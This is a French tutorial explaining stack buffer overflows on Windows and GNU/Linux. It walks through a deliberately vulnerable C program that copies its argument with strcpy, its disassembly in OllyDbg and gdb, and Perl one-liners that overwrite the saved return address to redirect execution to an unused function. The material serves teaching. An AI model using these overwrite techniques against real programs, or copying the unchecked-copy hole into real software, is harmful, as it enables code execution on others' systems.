Introduction aux Stack Overflow
Par Deimos le 04-01-2007
Texte explicatif des Stack Overflow sous GNU/Linux et Windows
Sommaire :
I. Introduction
II. Cas concret de Stack Overflow
II. 1. Sous Windows
II. 2. Sous GNU/Linux
I. Introduction
Un exécutable est composé, lorsqu'il est mappé en mémoire, de plusieurs sections bien distinctes:
- Une section .text qui contient le code à exécuter
- Une section .data comprenant les données globales initialiées
- Une section .bss comprenant les données globaes non-initialisées
- Une pile (stack) qui contient les variables locales aux fonctions
- Un tas (heap) qui contient les variables allouées dynamique
(avec malloc() par exemple, en C)
| Exemple : | |
|
#include <malloc.h> int i; // .bss char c = 'A'; // .data int main() { int j; // stack int k = 5; // stack char * buf = (char *)malloc(255*sizeof(char)); // heap } |
Dans cet article, nous allons nous intéresser plus particulierement aux Stack Overflow, et présenter deux cas concrets, tout d'abord sous Windows puis sous GNU/Linux, afin d'intéresser un maximum de personnes =)
Well ... J'utilise comme compilateur Microsoft Visual Studio 2005, donc pour étudier tranquillement les vulnérabilités d'un code que l'on compile, il faut :
- C/C++ : Génération de code : Vérification de la sécurité de la mémoire tampon : Non (/GS-)| vuln.c : | |
|
#define _CRT_SECURE_NO_DEPRECATE 1 #include <stdio.h> #include <string.h> #include <malloc.h> int main(int argc, char *argv[]) { if(argc < 2) return 1; char buffer[255]; strcpy(buffer, argv[1]); return 0; } void foo() { printf("Hacking Attempt"); } |
Donc ... classique comme démonstration de Stack overflow, avec l'utilisation d'un strcpy() qui met dans un tampon de 255 octets(1 char = 1 octet) l'argument passé au programme. Il est cependant à noter que chaque frame de la pile fait 4 octets, et que donc l'espace réservé sera toujours un multiple de 4 (arrondi au supérieur, bien entendu), soit ici 256 octets.
Note : L'instruction préprocesseur #define _CRT_SECURE_NO_DEPRECATE 1 permet à VS2k5 de laisser compiler le programme avec la fonction strcpy(), plutot que d'utiliser une fonction plus sécurisée.
La fonction foo() ne sert à rien dans l'exécutable ; notre but sera ici de contourner le flux d'exécution du programme vers l'adresse de notre choix ... nous prendrons donc celle de cette fonction (le printf() nous assurera que ça marche bien ;).
On va donc tout de suite tester ce qui se produit si on dépasse notre tampon ; donc en passant plus de 256 caractères en paramètre. Vite, un script perl de 2 lignes ...
| Exemple : | |
|
#!/usr/bin/perl $args = "A"x260; system("stack.exe",$args); |
Et il se passe quoi ... rien ! On teste avec plus ? Ok ... toujours rien ; pas moyen de faire planter le programme ...
OMG ! Microsoft a implanté une protection en plus du /GS qui pwn la planète et qui roxxorise tout et pas moyen de l'enlever. Non, c'est pas ça =).
Dans ce genre de cas, Ollydbg est notre ami, let's debug ... Voici le code désassemblé de la main() :
| disass main() : | |
|
00401020 > 81EC 00010000 SUB ESP,100 00401026 . 83BC24 0401000>CMP DWORD PTR SS:[ESP+104],2 0040102E . 7D 0C JGE SHORT stack.0040103C 00401030 . B8 01000000 MOV EAX,1 00401035 . 81C4 00010000 ADD ESP,100 0040103B . C3 RETN 0040103C > 8B8424 0801000>MOV EAX,DWORD PTR SS:[ESP+108] 00401043 . 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] 00401046 > 8A08 MOV CL,BYTE PTR DS:[EAX] 00401048 . 83C0 01 ADD EAX,1 0040104B . 84C9 TEST CL,CL 0040104D .^75 F7 JNZ SHORT stack.00401046 0040104F . 33C0 XOR EAX,EAX 00401051 . 81C4 00010000 ADD ESP,100 00401057 . C3 RETN |
Analysons de plus près la fonction strcpy() : On met dans CL l'octet situé à l'offset EAX du data segment, on incrémente EAX pour passé au caractère suivant et on teste si CL est NULL ou pas (caractère NULL = fin de chaine).
En effet, il ya un léger problème ... j'espère que vous l'avez trouvé, c'est assez évident =) ... Ou est-ce que notre buffet est copié ? Nul part. Le code boucle pour ne rien faire : il passe caractère par caractère la chaine, et ne fait rien avec
On comprend un peu mieux pourquoi le Stack Overflow ne marche pas ! Mais pourquoi la fonction strcpy() ne fait pas son rôle correctement ? Tout simplement car Visual Studio 2005 optimise le code, et vu que notre buffer n'est pas utilisé dans le programme aprs le strcpy() ; il ne voit pas l'utilité de le stocker dans la pile, donc il ne le stocke pas. Ainsi, je vais rajouter un printf() de ce buffer après le strcpy() (n'importe quelle autre instruction qui accede au buffer aurait fait l'affaire ...).
Après recompilation et désassemblage, on obtient :
| disass main() : | |
|
00401020 > 81EC 00010000 SUB ESP,100 00401026 . 83BC24 0401000>CMP DWORD PTR SS:[ESP+104],2 0040102E . 7D 0C JGE SHORT stack.0040103C 00401030 . B8 01000000 MOV EAX,1 00401035 . 81C4 00010000 ADD ESP,100 0040103B . C3 RETN 0040103C > 8B8424 0801000>MOV EAX,DWORD PTR SS:[ESP+108] 00401043 . 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] 00401046 . 8D1424 LEA EDX,DWORD PTR SS:[ESP] 00401049 . 2BD0 SUB EDX,EAX 0040104B . EB 03 JMP SHORT stack.00401050 0040104D 8D49 00 LEA ECX,DWORD PTR DS:[ECX] 00401050 > 8A08 MOV CL,BYTE PTR DS:[EAX] 00401052 . 880C02 MOV BYTE PTR DS:[EDX+EAX],CL 00401055 . 83C0 01 ADD EAX,1 00401058 . 84C9 TEST CL,CL 0040105A .^75 F4 JNZ SHORT stack.00401050 0040105C . 8D0C24 LEA ECX,DWORD PTR SS:[ESP] 0040105F . 51 PUSH ECX 00401060 . 68 5CDB4100 PUSH stack.0041DB5C ; ASCII "%s" 00401065 . E8 35000000 CALL stack.0040109F 0040106A . 83C4 08 ADD ESP,8 0040106D . 33C0 XOR EAX,EAX 0040106F . 81C4 00010000 ADD ESP,100 00401075 . C3 RETN |
Voila =) ! Apres notre strcpy() se trouve évidemment le CALL de printf(), mais, comme on l'attendait, une ligne s'est rajoutée dans la boucle du strcpy() : MOV BYTE PTR DS:[EDX+EAX],CL
Retestons à présent notre script perl ; on obtient le fameux rapport d'erreur :
| Rapport d'erreur : | |
|
AppName: stack.exe AppVer: 0.0.0.0 ModName: unknown ModVer: 0.0.0.0 Offset: 41414141 |
Pas de doute, le Stack overflow a correctement fonctionné ; l'offset est à 0x41414141, ce qui correspond au code ASCII de 4 caractèrs "A". On peut vérifier ceci avec Ollydbg :
En effet c'est lors de l'instruction RET que EIP prend la valeur 0x41414141, car RET = POP EIP + JMP EIP, l'inverse du CALL (PUSH EIP + JMP EIP).
A présent, on peut facilement détourner le flot d'exécution ... il suffit d'entrer en paramètre, apres notre "bourrage" (padding), l'adresse à stocker dans EIP. On regarde dans Ollydbg l'adresse de la fonction foo : 0x00401090 (on la voit sur le screenshot).
Reste à modifier notre script perl et l'exécuter :
| Exemple : | |
|
#!/usr/bin/perl $padding = "A"x256; $ret = "\x90\x10\x40\x00"; system("stack.exe",$padding.$ret); |
| cmd.exe : | |
|
C:\Documents and Settings\Deimos\Bureau\c++\stack\debug>perl ret.pl AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAÉ?@Hacking Attempt C:\Documents and Settings\Deimos\Bureau\c++\stack\debug> |
Ok, voyons à présent cette faille sous GNU/Linux. Les tests suivants sont faits sous Debian Sarge, avec un kernel 2.6.18.1, gcc 3.3.5-3, gdb 6.3-6.
Pour tester la faille, je prends le code suivant :
| shell : | |
|
deimos@l33tb0x:~/stackoverflow $ cat > vuln.c #include <stdio.h> void foo(const char* buf) { char buffer[255]; strcpy(buffer, buf); } void bar(void) { printf("Hacking Attempt.\n"); } int main(int argc, char *argv[]) { if(argc < 2) return 1; foo(argv[1]); printf("Plop\n"); return 0; } deimos@l33tb0x:~/stackoverflow $ gcc -ggdb -o vuln vuln.c |
L'option -ggdb lors de la compilation du code avec gcc permet de laisser les informations de débuggage, au format de GDB. Ce code est différent du précédent dans la mesure où strcpy() se situe dans une autre fonction, foo() et non dans la main(). Notre but est toujours le même : contourner le flot d'exécution vers bar().
Ainsi, sous Windows, seul EIP était pushé lors du CALL, donc on avait simplement à remplir le buffer de 256 octets, et écrire l'adresse de retour qui suivait immédiatement dans la pile. Désassemblons notre exécutable vuln avec gdb afin d'y voir plus clair, et de savoir après combien d'octet on arrivera à EIP.
Note : Si vous ne connaissez pas les commandes sous gdb, man gdb, ou attendez mon tutorial sur le deboggage avec gdb sous GNU/Linux =).
| gdb : | |
|
(gdb) disass main Dump of assembler code for function main: 0x080483f5 <main+0>: push %ebp 0x080483f6 <main+1>: mov %esp,%ebp 0x080483f8 <main+3>: sub $0x8,%esp 0x080483fb <main+6>: and $0xfffffff0,%esp 0x080483fe <main+9>: mov $0x0,%eax 0x08048403 <main+14>: sub %eax,%esp 0x08048405 <main+16>: cmpl $0x1,0x8(%ebp) 0x08048409 <main+20>: jg 0x8048414 <main+31> 0x0804840b <main+22>: movl $0x1,0xfffffffc(%ebp) 0x08048412 <main+29>: jmp 0x8048437 <main+66> 0x08048414 <main+31>: mov 0xc(%ebp),%eax 0x08048417 <main+34>: add $0x4,%eax 0x0804841a <main+37>: mov (%eax),%eax 0x0804841c <main+39>: mov %eax,(%esp) 0x0804841f <main+42>: call 0x80483c4 <foo> 0x08048424 <main+47>: movl $0x8048566,(%esp) 0x0804842b <main+54>: call 0x80482d8 <_init+56> 0x08048430 <main+59>: movl $0x0,0xfffffffc(%ebp) 0x08048437 <main+66>: mov 0xfffffffc(%ebp),%eax 0x0804843a <main+69>: leave 0x0804843b <main+70>: ret End of assembler dump. (gdb) disass foo Dump of assembler code for function foo: 0x080483c4 <foo+0>: push %ebp 0x080483c5 <foo+1>: mov %esp,%ebp 0x080483c7 <foo+3>: sub $0x88,%esp 0x080483cd <foo+9>: mov 0x8(%ebp),%eax 0x080483d0 <foo+12>: mov %eax,0x4(%esp) 0x080483d4 <foo+16>: lea 0xffffff88(%ebp),%eax 0x080483d7 <foo+19>: mov %eax,(%esp) 0x080483da <foo+22>: call 0x80482e8 <_init+72> 0x080483df <foo+27>: leave 0x080483e0 <foo+28>: ret End of assembler dump. |
On remarque plusieurs choses sur l'organisation d'une fonction en analysant le code assembleur ; décomposons ceci en étapes (celles qui nous intéressent):
- Sauvegarde de EBP : push %ebpPour que ce soit vraiment clair, un exemple ; si on prend ce code :
| Exemple : | |
|
#include <stdio.h> int test(int a, char b, int c) { printf("plop\n"); return 0; } int main() { int var1, var2; test(1,'A',3); return 0; } |
L'organisation de la mémoire, mais surtout de la stack lors du traitement des instructions de test(), ie, dans ce cas, du printf(), correspond à celle sur le schéma suivant :
Pour vérifier ces informations, un petit coup de gdb ....
| gdb : | |
|
(gdb) disass foo Dump of assembler code for function foo: 0x08048384 <foo+0>: push %ebp 0x08048385 <foo+1>: mov %esp,%ebp 0x08048387 <foo+3>: sub $0x8,%esp 0x0804838a <foo+6>: mov 0xc(%ebp),%eax 0x0804838d <foo+9>: mov %al,0xffffffff(%ebp) 0x08048390 <foo+12>: movl $0x80484f4,(%esp) 0x08048397 <foo+19>: call 0x80482b0 <_init+56> 0x0804839c <foo+24>: mov $0x0,%eax 0x080483a1 <foo+29>: leave 0x080483a2 <foo+30>: ret End of assembler dump. (gdb) b *0x08048385 Breakpoint 1 at 0x8048385 (gdb) r Starting program: /home/deimos/stackoverflow/test Failed to read a valid object file image from memory. Breakpoint 1, 0x08048385 in foo () (gdb) x/20w $esp 0xbffdb158: 0xbffdb178 0x080483cf 0x00000001 0x00000061 0xbffdb168: 0x00000002 0xb7fa4f40 0xb7fcb540 0x08048440 0xbffdb178: 0xbffdb1d8 0xb7e88974 0x00000001 0xbffdb204 0xbffdb188: 0xbffdb20c 0x00000000 0xb7fa4f40 0xb7fcb540 0xbffdb198: 0x08048440 0xbffdb1d8 0xbffdb180 0xb7e88936 |
On voit ainsi que tout correspond bien au schéma ci-dessus ; a l'exception que gcc a alloué plus que 2*4 octets pour les variables locales, il a alloué 24 octets (voir sub ci-dessous).
| gdb : | |
|
(gdb) disass main Dump of assembler code for function main: 0x080483a3 <main+0>: push %ebp 0x080483a4 <main+1>: mov %esp,%ebp 0x080483a6 <main+3>: sub $0x18,%esp |
A présent que l'on sait exactement calculer à quelle adresse ce situera l'EIP à écraser, retournons à notre fameux vuln.c de tout à l'heure ... Nous voulons exécuter la fonction bar(). Je vous laisse le petit exercice de calculer vous-même le nombre d'octets avant EIP ;)
| gdb : | |
|
deimos@l33tb0x:~/stackoverflow $ ./vuln `perl -e 'print "A"x268; print "\xe4\x83\x04\x08";'` Hacking Attempt. Erreur de segmentation |